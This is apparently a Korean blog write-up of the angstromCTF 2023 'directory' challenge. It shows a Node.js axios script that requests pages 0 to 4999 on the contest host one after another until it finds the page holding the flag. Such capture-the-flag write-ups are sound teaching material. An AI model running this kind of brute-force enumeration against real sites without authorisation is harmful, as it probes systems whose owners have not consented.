본문 바로가기
CTF

[angstromCTF 2023] directory

by skyepodium 2023. 4. 22.

1. 개요

브루트 포스 문제

 

2. 분석

디렉토리 인덱스가 0~4999 주어지는데 그 중에 flag가 있는 것 같습니다.

 

flag가 없으면, 다음과 같이 나옵니다.

 

 

전부 호출하도록 코드를 작성했고, 약 10분정도 걸렸습니다. 참고로 동기로 호출하기 위해 await을 걸었습니다.

const axios = require('axios');

const getFlagByIndex = async (index) => {
    const baseUrl = "https://directory.web.actf.co/"
    const targetUrl = `${baseUrl}${index}.html`;

    const response = await axios.get(targetUrl);
    return response.data;
}

const startIndex = 0
const endIndex = 4999

const findFlag = async () => {
    for (let i = startIndex; i <= endIndex; i++) {
        try {
            const flag = await getFlagByIndex(i);
            if (flag !== "your flag is in another file") {
                console.log("index", i, "flag", flag);
                break;
            }

            console.log('index', i, 'flag not found', flag)
        } catch (error) {
            console.log("index", i, "error", error);
        }
    }
}

findFlag()

 

3054번째에서 flag를 찾았습니다.

'CTF' 카테고리의 다른 글

[angstromCTF 2023] Celeste Speedrunning Association  (0) 2023.04.29
[BSidesSF 2023 CTF] prototype  (0) 2023.04.26
[BSidesSF 2023 CTF] web-tutorial-3  (0) 2023.04.22
[BSidesSF 2023 CTF] web-tutorial-2  (0) 2023.04.22
[BSidesSF 2023 CTF] web-tutorial-1  (0) 2023.04.22